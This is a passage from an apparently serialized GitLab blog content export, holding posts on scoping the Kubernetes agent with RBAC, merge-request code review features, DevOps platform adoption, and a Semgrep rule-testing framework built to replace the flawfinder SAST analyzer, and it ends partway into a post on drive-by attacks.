found in naww namespace.\n  ```\n\n  Notice there is nothing on there.\n\n**7. Look at the k-agent logs**\n\n  ```\n  $ kubectl get pods -n gitlab-kubernetes-agent\n\n  NAME                            READY   STATUS    RESTARTS   AGE\n  gitlab-agent-58869d96bd-nqqnf   1/1     Running   0          10s\n\n  $ kubectl logs gitlab-agent-58869d96bd-nqqnf -n gitlab-kubernetes-agent\n\n  {\"level\":\"info\",\"time\":\"2021-08-19T19:17:26.088Z\",\"msg\":\"Feature status change\",\"feature_name\":\"tunnel\",\"feature_status\":true}\n  {\"level\":\"info\",\"time\":\"2021-08-19T19:17:26.088Z\",\"msg\":\"Observability endpoint is up\",\"mod_name\":\"observability\",\"net_network\":\"tcp\",\"net_address\":\"[::]:8080\"}\n  {\"level\":\"info\",\"time\":\"2021-08-19T19:17:26.375Z\",\"msg\":\"Starting synchronization worker\",\"mod_name\":\"gitops\",\"project_id\":\"devsecops/gitops-project\"}\n  ...\n  ```\n\n  You should see logs as follows:\n\n  Application successfully deployed to `dude`\n\n  ```\n  {\"level\":\"info\",\"time\":\"2021-08-20T22:03:57.561Z\",\"msg\":\"Synchronizing objects\",\"mod_name\":\"gitops\",\"project_id\":\"29010173\",\"agent_id\":711,\"commit_id\":\"221499beaf2dcf267cd40324235570001e928817\"}\n  {\"eventType\":\"resourceStatus\",\"group\":\"apps\",\"kind\":\"Deployment\",\"message\":\"Deployment is available. Replicas: 1\",\"name\":\"nginx-deployment-dude\",\"namespace\":\"dude\",\"status\":\"Current\",\"timestamp\":\"2021-08-20T22:03:58Z\",\"type\":\"status\"}\n  ```\n\n  Application failed to deploy to `naww`\n\n  ```\n  {\"eventType\":\"resourceStatus\",\"group\":\"apps\",\"kind\":\"Deployment\",\"message\":\"\",\"name\":\"nginx-deployment-naww\",\"namespace\":\"naww\",\"status\":\"Unknown\",\"timestamp\":\"2021-08-20T22:03:29Z\",\"type\":\"status\"}\n  {\"level\":\"warn\",\"time\":\"2021-08-20T22:03:30.015Z\",\"msg\":\"Synchronization failed\",\"mod_name\":\"gitops\",\"project_id\":\"29010173\",\"agent_id\":711,\"commit_id\":\"221499beaf2dcf267cd40324235570001e928817\",\"error\":\"1 resources failed\"}\n  ```\n\nWe can see that deployments only happen on the `dude` namespace because that is all the k-agent has access to. You can add access to other namespaces by creating [Roles and RoleBindings](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) for each namespace like we did for the `dude` namespace.\n\n## Securing GitOps workflow on Kubernetes\n\nNow you have seen how you can create a more restrictive GitOps workflow, allowing you to meet your security needs.\n\nThanks for reading! I hope this guide brings you one step forward into using and securing your GitOps workflow on Kubernetes. For more information see the [GitLab Agent documentation](https://docs.gitlab.com/ee/user/clusters/agent/).\n\nPhoto by \u003Ca href=\"https://unsplash.com/@sebbb?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">seabass creatives\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/limited?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n{: .note}\n\n## Read more on Kubernetes:\n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [Threat modeling the Kubernetes Agent: from MVC to continuous improvement](/blog/threat-modeling-kubernetes-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n",[1067,534,674],{"slug":17391,"featured":6,"template":678},"setting-up-the-k-agent","content:en-us:blog:setting-up-the-k-agent.yml","Setting Up The K Agent","en-us/blog/setting-up-the-k-agent.yml","en-us/blog/setting-up-the-k-agent",{"_path":17397,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17398,"content":17404,"config":17409,"_id":17411,"_type":16,"title":17412,"_source":17,"_file":17413,"_stem":17414,"_extension":20},"/en-us/blog/5-code-review-features",{"title":17399,"description":17400,"ogTitle":17399,"ogDescription":17400,"noIndex":6,"ogImage":17401,"ogUrl":17402,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17402,"schema":17403},"How GitLab's 5 new code review features will make life easier","Code reviews are hard to get right. Here are five new features in our DevOps Platform designed to streamline code reviews and provide vital context.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667400/Blog/Hero%20Images/lagos-techie-unsplash.jpg","https://about.gitlab.com/blog/5-code-review-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's 5 new code review features will make life easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2021-09-09\",\n      }",{"title":17399,"description":17400,"authors":17405,"heroImage":17401,"date":17406,"body":17407,"category":962,"tags":17408},[11790],"2021-09-09","\n_This is the second in a series of blog posts looking at the challenges of code review and the ways a DevOps platform can help. Read the [first post](/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know/)._\n\n## What is a code review, and why is it important?\n\nCode review can be one of the most deceivingly difficult things in delivering software faster. Given the high stakes involved, we've made some key additions to our DevOps Platform that focus on making the code review process as seamless and effective as possible. We believe the number one way to make code reviews effective is to provide context. \n\nToo often we think of [code review tool features](/topics/version-control/what-are-best-code-review-tools-features/) as only \"reading\" and commenting on others' code - but what a good code reviewer does is understand the entire context of the proposed change. Context-driven code reviews should include factors like the issue that spurred on the change, how the change impacts non-obvious things like code quality, security, and performance, and whether the code is maintainable after the change is in place.\n\n## Simplifying code reviews\n\nGiven all of that, we made the merge request the central point of change management and it's one of the key benefits of a DevOps Platform. Using a merge request allows code submitters and reviewers alike to have all of the information required to make the right decisions about a particular change. Making sure that everyone has the same information, and is as informed as possible about how a change will impact the project over all, leads to code reviews that are both quicker and more effective.  \n\nOver the last year we've added five features that help ease the code review pain. Here's a look at all of them:\n\n### 1) Meeting you where you are\n\nSome of the biggest code review changes involve meeting folks where they are - and allowing for a more natural feeling code review. As engineers, we spend most of our days glued to our IDE of choice. And we're used to code not just being static words on a screen, but also interacting and running that code to check its performance and outputs. That's why GitLab has brought a truly integrated experience to your development environment.\n\n**[Here's how to get started with a [DevOps platform](/topics/devops-platform/)]**\n\nIf you use Visual Studio Code as your main development environment like I do, you can now [view merge requests directly in VSCode](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). In addition, you can [comment and see comments](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/342) in that view as well as [checkout the branch directly from VSCode](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/63). This familiar environment gives you all the benefits of GitLab MRs - CI/CD, security scanning, approval workflows - without having to leave your own development environment. \n\nBut what if you're not at your development box? Or you don't have this particular library or project installed and running locally?  Well there's a great solution for that - [Gitpod](https://gitpod.io) - and it also integrates directly with GitLab.  Gitpod allows you to have a working, containerized development environment in seconds. And now with GitLab 14.2, you can [launch a Gitpod workspace directly from the GitLab merge request](https://www.gitpod.io/blog/gitlab-mr-gitpod-integration).  That means with one button in GitLab you can go from a static code review into a running application with all of the proposed changes.\n\n### 2) Code quality notices built into the MR diff\n\nGitLab already brings [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html), [security](https://docs.gitlab.com/ee/user/application_security/), [performance](https://docs.gitlab.com/ee/ci/testing/load_performance_testing.html), and [other metrics](https://docs.gitlab.com/ee/ci/testing/metrics_reports.html) directly into the merge request. But in GitLab 13.12, we also added the ability to see [code quality notices directly in the MR diff](https://docs.gitlab.com/ee/ci/testing/code_quality.html). This means that changes to code quality are presented right next to the offending code, making it quick and easy for reviewers to make suggestions about how to keep code quality top notch while shipping changes.\n\n![Code quality notice shown in-line with merge request diff](https://about.gitlab.com/images/blogimages/code_quality_mr_diff_report_v14_2.png)\n\n### 3) File-by-file reviews\n\nSometimes with changes it is nice to use the file explorer view and be able to see changes across multiple files. Other times you might want to do a thorough pass on *every* file to ensure you didn't miss anything. Toggling between seeing all of the changed files and one file at a time is a small but valuable feature that makes code reviews easier.\n\n![Animated image showing changing between show all and show one file at time view in a merge request](https://about.gitlab.com/images/blogimages/animated-single-file-review-example.gif)\n\n### 4) Check off a file as reviewed\n\nSpeaking of small but powerful features, one of my favorite features is something many would consider incredibly small.  But to that I would say - there are no small features, only small merge requests 😄!\n\n**[How to [get the most out of your DevOps platform](/topics/devops/seven-tips-to-get-the-most-out-of-your-devops-platform/)]**\n\nThe ability to check off files as reviewed has become a natural part of my code review workflow - even when the code I'm reviewing might be code I wrote myself! It allows me to focus more of my review time on the biggest impact changes, ignoring smaller changes or ones that don't directly impact the biggest concerns in a review. And in every review session I use it to make sure I've ACTUALLY reviewed every file...not that any reviewer would ever leave one out 😉.\n\n![Viewed check box checked and a file hidden as already reviewed](https://about.gitlab.com/images/blogimages/filed-viewed-merge-request.png)\n\n### 5) Reviewers vs. Assignee\n\nThe last improvement to code review in our DevOps Platform is the addition of \"reviewers\" as an option in a merge request, alongside the existing choice of \"assignee.\" This can help speed up code reviews by ensuring all team members who have to sign off on a merge request are informed and consulted while also making sure there is a clear responsibility on who will take the next action on a merge request, or be the one to actually click the \"merge when pipeline succeeds\" button.\n\nWe hope your teams will try these new and improved DevOps Platform code review features - and we're not done yet.  We'll be shipping improvements and updates to the code review process all of the time. And because everyone can contribute you can add your own ideas and suggestions into our DevOps Platform to make code reviews less painful and more effective.\n",[1207,4103],{"slug":17410,"featured":6,"template":678},"5-code-review-features","content:en-us:blog:5-code-review-features.yml","5 Code Review Features","en-us/blog/5-code-review-features.yml","en-us/blog/5-code-review-features",{"_path":17416,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17417,"content":17422,"config":17427,"_id":17429,"_type":16,"title":17430,"_source":17,"_file":17431,"_stem":17432,"_extension":20},"/en-us/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say",{"title":17418,"description":17419,"ogTitle":17418,"ogDescription":17419,"noIndex":6,"ogImage":12013,"ogUrl":17420,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17420,"schema":17421},"Making the case for a DevOps platform: What data and customers say","Don't just take our word for why a DevOps platform means better DevOps and faster, safer releases: here's what the latest data shows and how customers have benefitted.","https://about.gitlab.com/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Making the case for a DevOps platform: What data and customers say\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-09-08\",\n      }",{"title":17418,"description":17419,"authors":17423,"heroImage":12013,"date":17424,"body":17425,"category":962,"tags":17426},[11618],"2021-09-08","\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nIn the struggle to release safer software faster, development teams are increasingly choosing a DevOps platform to help them get there. In our [2021 Global DevSecOps Survey](/developer-survey/) we asked respondents what their DevOps practices included and a \"DevOps platform\" was among the top four choices, right next to CI/CD, test automation, and DevSecOps.\n\nWe're of course bullish on the idea of a DevOps platform, but we're far from alone. Here's a fresh look at how the data – and the customers – support the optimistic trajectory of a DevOps platform.\n\n## DevOps is hot\n\nThe DevOps market was worth $6 billion in 2020, according to Global Industry Analysts, and five-year growth forecasts range from $17 billion to as much as $23 billion, depending on the firm. \n\n**[Watch a [deep dive into GitLab's DevOps Platform](https://www.youtube.com/watch?v=wChaqniv3HI)]**\n\nThis probably doesn't need saying, but one reason the market is so strong is that DevOps works. In late 2020, Forrester Research conducted \"The State of Modern Technology Operations Q4 2020,\" and concluded [\"the DevOps hypothesis is sound\"](https://go.forrester.com/blogs/the-devops-hypothesis-is-sound-introducing-the-2020-state-of-modern-technology-operations-survey/). The report went further to say that companies successfully working in a DevOps/Agile model were able to release faster and thus have higher revenue growth. \n\n## A DevOps platform is the logical next step\n\nBut in order to do DevOps a team needs tools, and too many tools results in a toolchain, which is where things can get very messy quickly. Time consuming handoffs, integrations and maintenance lead to what Forrester calls the \"DevOps tax\" of roughly 10%, meaning teams have to spend that much of their time each month just trying to keep the toolchains running. (In [our 2021 Survey](/developer-survey/), the tax was even higher: 20% of survey takers said they spend between 11% and 20% of their time just on toolchain maintenance and integration).\n\n**[Use a DevOps platform to [avoid the DevOps tax](/topics/devops/use-devops-platform-to-avoid-devops-tax/)]**\n\nA DevOps platform with end-to-end visibility and everything in one place eliminates the tax and boosts DevOps performance. Nearly 12% of survey respondents told us that adding a DevOps platform has allowed them to release software faster. Overall, our survey takers said the use of a DevOps platform resulted in better DevOps, improved collaboration, easier automation and more comprehensive visibility/traceability. \n\nOne developer put it succinctly: \"[Using a DevOps platform] means reduced mean time to recovery (MTTR), quicker time to market, reduced lead time for fixes, and fewer change failures.\"\n\nAnd if all of that wasn't enough, a single DevOps platform gives *everyone* in the company the ability to see and participate in the process. In fact, 23% of our survey takers said everyone in their company – not just Dev and Ops – actually uses the DevOps platform. \n\n## DevOps platforms in the real world\n\nHow do teams really take advantage of a DevOps platform?\n\n[BI Worldwide](/customers/bi-worldwide/), a global engagement agency, found the ability to tie all the processes together made a difference. \"One tool for SCM+CI/CD was a big initial win,\" says Adam Dehnel, product architect at BI. \"Now wrapping security scans into that tool as well has already increased our visibility into security vulnerabilities. The integrated Docker registry has also been very helpful for us. Issue/Product management features let everyone operate in the same space regardless of role.\"\n\n**[How to [get the most out of your DevOps platform](/topics/devops/seven-tips-to-get-the-most-out-of-your-devops-platform/)]**\n\nLess turned out to be more at [Glympse](/customers/glympse/), a geo-location sharing service provider that consolidated close to 20 different tools into GitLab. \"Development can move much faster when engineers can stay on one page and click buttons to release auditable changes to production and have easy rollbacks; everything is much more streamlined,\" explains Zaq Wiedmann, lead software engineer at Glympse. \"Within one sprint, just 2 weeks, Glympse was able to implement security jobs across all of their repositories using GitLab's CI templates and their pre-existing Docker-based deployment scripts.\"\n\nWant a more detailed look at the role a DevOps platform can play in your organization? Explore our [comprehensive guide to DevOps platforms](/topics/devops-platform/).\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## Read more about the DevOps Platform:\n\n- [The journey to a DevOps Platform](/blog/the-journey-to-a-devops-platform/)\n\n- [How ten steps over ten years led to the DevOps Platform](/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/)\n\n- [Agile planning with a DevOps platform](/blog/agile-planning-with-a-devops-platform/)\n\n- [Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)\n\n- [It's time to build more accessible software. A DevOps platform can help](/blog/how-the-devops-platform-makes-building-accessible-software-easier/)\n",[4103,8570,4772],{"slug":17428,"featured":6,"template":678},"making-the-case-for-a-devops-platform-what-data-and-customers-say","content:en-us:blog:making-the-case-for-a-devops-platform-what-data-and-customers-say.yml","Making The Case For A Devops Platform What Data And Customers Say","en-us/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say.yml","en-us/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say",{"_path":17434,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17435,"content":17441,"config":17447,"_id":17449,"_type":16,"title":17450,"_source":17,"_file":17451,"_stem":17452,"_extension":20},"/en-us/blog/write-vulnerability-detection-rules",{"title":17436,"description":17437,"ogTitle":17436,"ogDescription":17437,"noIndex":6,"ogImage":17438,"ogUrl":17439,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17439,"schema":17440},"How to write and continuously test vulnerability detection rules for SAST","Interns with the Google Summer of Code helped GitLab transition from our old SAST tools to Semgrep.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667819/Blog/Hero%20Images/anomaly-detection-cover.png","https://about.gitlab.com/blog/write-vulnerability-detection-rules","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to write and continuously test vulnerability detection rules for SAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ross Fuhrman\"},{\"@type\":\"Person\",\"name\":\"Anshuman Singh\"},{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2021-09-08\",\n      }",{"title":17436,"description":17437,"authors":17442,"heroImage":17438,"date":17424,"body":17445,"category":674,"tags":17446},[17443,17444,2948],"Ross Fuhrman","Anshuman Singh","\nIn summer 2021, the [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) and [Static Analysis](/handbook/engineering/development/sec/secure/static-analysis/)\nteams launched the [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) project: [Write vulnerability detection rules for SAST](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues/3).\n\nFor this project, we built and implemented a framework to helps transition GitLab away from our current SAST tools over to Semgrep. Semgrep is a language-agnostic SAST tool that is gaining popularity in CI/CD environments.\nBefore replacing an analyzer with the corresponding Semgrep configuration (called rule-sets), we need to ensure that they are equivalent – in that they yield the same set of findings.\n\nFor this purpose, we built a testing framework that helps us assess the quality of a Semgrep rule-set. This framework has been used to guide the replacement of [flawfinder](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder), a C/C++ analyzer with a corresponding Semgrep rule-set. This new testing framework leverages the power of GitLab CI/CD.\n\n## Preliminaries\n\n### GitLab and the Google Summer Of Code (GSoC)\n\nThe Google Summer of Code (GSoC) is a 10-week program that enlists student interns to work on an open source project in collaboration with open source organizations. For GSoC 2021, GitLab offered [4 GSoC projects to the GSoC interns](/blog/gsoc-at-gitlab/). The [interns completed each of project](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues) under the guidance of a GitLab team member who serves as their mentor and provides regular feedback and assistance when needed.\n\n**[Read reflections from the Google Summer of Code interns about [what it was like working with GitLab](/blog/gsoc-at-gitlab/)]**\n\n### About Semgrep\n\n[Semgrep](https://semgrep.dev/) is a language-agnostic static-analysis (SAST) tool that is powered by [tree-sitter](https://tree-sitter.github.io/tree-sitter/). Tree-sitter is a robust parser-generator tool that supports parsing a variety of languages.\n\nSemgrep supports a [rule-syntax](https://semgrep.dev/docs/writing-rules/rule-syntax/) which can be used to formulate detection rules in a configuration-as-code YAML format. A Semgrep rule determines the findings that Semgrep is supposed to detect. These rules are combined together to create a rule-set.\n\n### About GitLab SAST\n\nGitLab is a complete DevSecOps platform and integrates a [variety of static analysis tools](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html) that help developers find vulnerabilities as early as possible in the software development lifecycle (SDLC).\n\nSince all the integrated SAST tools are very different in terms of implementation as well as tech stack they depend on, the SAST tools are all wrapped in Docker images. The wrappers translate the native vulnerability reports to a [generic, common report format](https://docs.gitlab.com/ee/user/application_security/sast/) which is made available by means of the `gl-sast-report.json` artifact. This generic report is GitLab's common interface between analyzers and the GitLab Rails backend.\n\n## Write vulnerability detection rules\n\n### Some background on our SAST tools\n\nOver time, the growing number of integrated SAST tools has become a maintenance burden for GitLab due to two major contributing factors.\n\n1. **Integration cost**: All SAST tools have different release cycles – new releases have to be pulled in immediately so that our users can benefit from them. Given the large amount of integrated SAST tools, the time spent to monitor the SAST tools for new releases, integrating and testing them is expensive in terms of engineering effort/time.\n\n1. **Inflexibility**: Adapting or modifying SAST tools behavior is non-trivial because each tool is based on different technologies. Also, upstream contributions to the original analyzer repositories are not guaranteed to be included by the maintainers. In these cases, they require us to fork a project which is not a scalable solution with regards to maintenance effort.\n\nGitLab is in the process of replacing various SAST tools with a single, language-agnostic SAST tool, called Semgrep, to fix these problems. Semgrep can be configured by means of rules that are used to define what Semgrep is supposed to find. These rules are provided as YAML configuration files so it is fairly easy to modify the behavior of Semgrep to different use cases.\nSemgrep's configuration-as-code approach paired with its language support enables us to replace multiple analyzers, which effectively reduces the maintenance burden.\n\nHowever, the SAST tool replacement itself is a challenging process. For the majority of use cases we have to assume that there is already a large amount of historic vulnerability data recorded and acted upon using [GitLab's vulnerability management features](/handbook/security/threat-management/vulnerability-management/). Users may also have grown accustomed to working with certain analyzers and may even have a certain level of expectation with regards to the findings produced by the analyzer.\n\nA smooth transition from a language-specific analyzer to a corresponding Semgrep rule-set must be guaranteed by meeting a certain level of quality assurance. A rule-set should be at least as good as the results produced by the original analyzers, also known as parity. In turn, parity required we build test-suites to be used to measure the gap (in terms of rule coverage) between the original analyzer and the rule-set that is to replace it. A good quality rule-set is expected to perform at least as well as the SAST tool it aims to replace (zero gap, full parity).\n\nThere are cases where the original SAST tool may falsely report vulnerabilities. In these situations, we aim to improve our rule-set in a controlled manner by explicitly documenting our improvements. However, before improving a rule-set, we want to start from a position of complete parity so that we have a holistic view of the impact incurred by single rule improvements. This documentation of applied improvements is important so we can justify changes with regard to reported findings to the customer.\n\nThere are three challenges we tried to address with this project:\n\n1. **Rule management**: Provide a central rule repository to store, distribute and track changes applied to rules as well as test-cases.\n1. **Rule testing**: Every change applied to a rule in the rule repository triggers an automated gap-analysis that measure the quality of the rules in comparison to the original analyzers.\n1. **Analyzer replacement**: Replace at least one SAST tool (in our case flawfinder) with a corresponding rule-set – use the testing framework to ensure that the rule-set is on par with the original SAST tool.\n\nWe unpack each of these challenges in the next section.\n\n### How we approached these challenges\n\nThe architecture of the rule-testing framework is depicted in the code snippets below. All the Semgrep rules and the corresponding test-cases are stored in a central rule repository. Changes that are applied to the rules trigger the execution of our rule testing framework that uses the rules and test-cases to perform an automated gap analysis.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n  crr[GitLab Rule Repository]\n\n  bandit[\"GitLab bandit\"]\n  bx[\"gl-sast-report.json\"]\n  sbx[\"gl-sast-report.json\"]\n  breport[\"bandit gap analysis report\"]\n\n  subgraph bandit_comparison[\"bandit comparison\"]\n    banditsemgrep[\"GitLab Semgrep\"]\n    banditcompare[\"compare\"]\n    bandit --> |run analyzer on test-cases| bx\n    banditsemgrep --> |run analyzer on test-cases| sbx\n    bx --> banditcompare\n    sbx --> banditcompare\n  end\n  crr -->|bandit rules + rule id mappings| banditsemgrep\n  banditcompare --> breport\n\n  fx[\"gl-sast-report.json\"]\n  fbx[\"gl-sast-report.json\"]\n  freport[\"flawfinder gap analysis report\"]\n  flawfinder[\"GitLab flawfinder\"]\n\n  subgraph flawfinder_comparison[\"flawfinder comparison\"]\n    flawfindersemgrep[\"GitLab Semgrep\"]\n    flawfindercompare[\"compare\"]\n    flawfinder --> |run analyzer on test-cases| fx\n    flawfindersemgrep --> |run analyzer on test-cases| fbx\n    fx --> flawfindercompare\n    fbx --> flawfindercompare\n  end\n  crr -->|flawfinder rules + rule id mappings| flawfindersemgrep\n  flawfindercompare --> freport\n\n\u003C/pre>\n\nThe rule testing framework is a compass that guides us through the rule development process by automatically measuring the efficacy of rules that are stored in the central rule (git) repository. This measurement happens during a comparison step that validates the findings reported by the original analyzer against the corresponding Semgrep rule-set. For the comparisons we cross-validate the SAST\nreports ([`gl-sast-report.json`](https://docs.gitlab.com/ee/user/application_security/sast/)) that adhere to the GitLab security report format. Since the main goal is to achieve parity between the original analyzer and our corresponding Semgrep rules, we treat the original analyzer as the baseline. The code snippet above depicts two example comparison steps for bandit and flawfinder.  The gap analysis is explained in more detail in the \"rule testing\" section below.\n\nUsing a central rule git repository allows us to manage and easily track changes that are applied to rules and their corresponding test-cases in a central location. By means of GitLab CI/CD, we have a mechanism to automatically run tests that enforce constraints and guidelines on the rules and test-cases. Upon rule changes, we automatically trigger the rule-testing framework which enables us to spot gaps in our rules instantly. The structure of the central rule repository is detailed in the \"rule management\" section below.\n\n#### How we addressed rule management challenges\n\nThe central rule repository is used to store, keep track of changes applied to `rules/test-cases` for a variety of different languages. By having a separate rule repository we can add CI jobs to test, verify, and enforce syntax guidelines.\n\nThe structure we use for the central rule repository is depicted below and follows the structure: `\u003Clanguage>/\u003Cruleclass>/{rule-\u003Crulename>.yml, test-\u003Crulename>.*}` where language denotes the target programming language, `\u003Cruleclass>` is a descriptive name for the class of issues the rule aims to detect and `\u003Crulename>` is a descriptive name for the actual rule.  We can have multiple test cases per rule (all prefixed with `test-`) and rule files `rule-\u003Crulename>.yml` that are prefixed with `rule-` – a rule file contains a single Semgrep rule.\n\n``` bash\n.\n├── mappings\n│   └── analyzer.yml\n├── c\n│   ├── buffer\n│   │   ├── rule-strcpy.yml\n│   │   ├── test-strcpy.c\n│   │   ├── rule-memcpy.yml\n│   │   └── test-memcpy.c\n│   └── ...\n└── javascript\n│   └── ...\n└── python\n│    ├── assert\n│    │   ├── rule-assert.yml\n│    │   └── test-assert.py\n│    └── exec\n│    │   ├── rule-exec.yml\n│    │   ├── test-exec.yml\n│    │   ├── rule-something.yml\n│    │   └── test-something.yml\n│    └── permission\n│    │   ├── rule-chmod.yml\n│    │   └── test-chmod.py\n│    └── ...\n└── ...\n```\n\nIn addition to the rules, we also store mapping files (in the `mappings` subdirectory). The mappings directory in this repository contains YAML configuration/mapping files that map native analyzer IDs to the corresponding Semgrep rules. An analyzer ID uniquely identifies the type of finding. The information in the mapping files helps us to correlate the finding from the original analyzer with their corresponding Semgrep findings and vice versa.\n\nThe mapping files are digested by the testing framework to perform an automated gap analysis. The goal of this analysis is to check if there is an unexpected deviation between Semgrep (with the rules in this repository) and a given analyzer.\n\nA mapping file groups distinct rules into rule-sets and, thus, can be used to bundle different rules based on a certain domain. An excerpt from a mapping file is depicted below – it maps bandit rules (identified by bandit IDs) to Semgrep rules from the central rule repository.\n\n``` yaml\nbandit:\n  - id: \"B101\"\n    rules:\n      - \"python/assert/rule-assert_used\"\n  - id: \"B102\"\n    rules:\n      - \"python/exec/rule-exec_used\"\n  - id: \"B103\"\n    rules:\n      - \"python/file_permissions/rule-general_bad_permission\"\n  - id: \"B104\"\n    rules:\n      - \"python/bind_all_interfaces/rule-general_bindall_interfaces\"\n```\n\n#### How the rule testing framework works\n\nThe test-oracle/baseline is provided by the original analyzer when executed on the test-files. The rules in the central rule repository are compared and evaluated against this baseline. The execution of the testing framework is triggered by any change applied to the rule repository.\n\nWe run all analyzers (flawfinder, bandit, etc.) and their corresponding Semgrep rule-sets (as defined by the mapping files) on the test-files from the GitLab rule repository. The resulting `gl-sast-reports.json` reports that are produced by the original analyzer and by the Semgrep analyzer are then compared in a pairwise manner. To identify identical findings in both reports, we leverage the information from the mapping files that maps the rule-ids of the baseline analyzer to the corresponding Semgrep rule-ids for the rules stored in the central rule repository.\n\nAs output, we produce a gap analysis report (in markdown format). The gap analysis lists all the findings that have been reported by the original analyzers and groups them into different tables (based on the native rule-ids). The screenshot below shows a single table from the gap analysis report.\n\n![Gap Analysis Report](https://about.gitlab.com/images/blogimages/testing-framework-report.png){: .shadow.center}\nAn example table from the gap analysis report.\n{: .note.text-center}\n\nThe `X` symbols indicate whether the analyzers (in the example, flawfinder and Semgrep) were able to detect a given finding. The concrete findings as well as the rule files are linked in the table. To reach full coverage, flawfinder as well as Semgrep have to cover the same findings for all the rules that are reported by the baseline.\n\n#### The analyzer replacement\n\nTo build a Semgrep rule-set that is on par with the capabilities of the original/baseline analyzer we leveraged the newly created testing framework. Flawfinder, a C/C++ analyzer, was the first analyzer we fully migrated to Semgrep using the testing framework as a compass.\n\nFirst, we checked the flawfinder implementation to identify the implemented rules. Given that flawfinder is a Python script and that the rules are essentially stored in a dictionary/hash data-structure, we were able to semi-automatically extract the rules and generate the corresponding Semgrep rule files. We were also able to source the test-files from the flawfinder source code repository.\n\nAfter the initial import of the first set of rules-files and test-cases, we used the information provided by the testing-framework to see which rules needed refinement.\n\nWe responded to the information provided by our testing framework in the following way:\n\n1. Findings covered by Baseline and covered by our rule-set: Nothing to be done.\n1. Findings covered by Baseline but not covered by our rule-set: This denotes an incomplete ruleset. In this case we extended the rule-file by providing additional `pattern` entries.\n1. Findings not covered by Baseline but covered by our rule-set: This usually denotes that some rules are too vaguely formulated. In this case, we refined our rules by using exclusions, e.g., by using `pattern-not` or by adding more detail to an already existing pattern.\n\nThe rule design was an iterative process where we closed the gaps between our semgrep rule-set and the flawfinder baseline in an iterative manner using the testing framework as an oracle to ultimately achieve 100% parity.\n\n## How the GSoC project helped GitLab\n\nIn this GSoC project we successfully built an automated rule/configuration testing framework that is driven by GitLab CI/CD capabilities and that provided the data we needed to replace flawfinder reliably and quickly with a corresponding Semgrep rule-set.\n\nIf you are interested in finding out more information about this GSoC project, please check out the following repositories:\n\n- [Central Rule Repository](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/playground/sast-rules)\n- [Testing Framework](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/rule-testing)\n- [Gap Analysis Computation Tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/report-diff)\n- [Repository to track gap statistics](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/rule-testing-stats)\n",[674,944,4144],{"slug":17448,"featured":6,"template":678},"write-vulnerability-detection-rules","content:en-us:blog:write-vulnerability-detection-rules.yml","Write Vulnerability Detection Rules","en-us/blog/write-vulnerability-detection-rules.yml","en-us/blog/write-vulnerability-detection-rules",{"_path":17454,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17455,"content":17461,"config":17466,"_id":17468,"_type":16,"title":17469,"_source":17,"_file":17470,"_stem":17471,"_extension":20},"/en-us/blog/why-are-developers-vulnerable-to-driveby-attacks",{"title":17456,"description":17457,"ogTitle":17456,"ogDescription":17457,"noIndex":6,"ogImage":17458,"ogUrl":17459,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17459,"schema":17460},"Why are developers so vulnerable to drive-by attacks?","The complexity of developer working environments make them more likely to be vulnerable to a drive-by 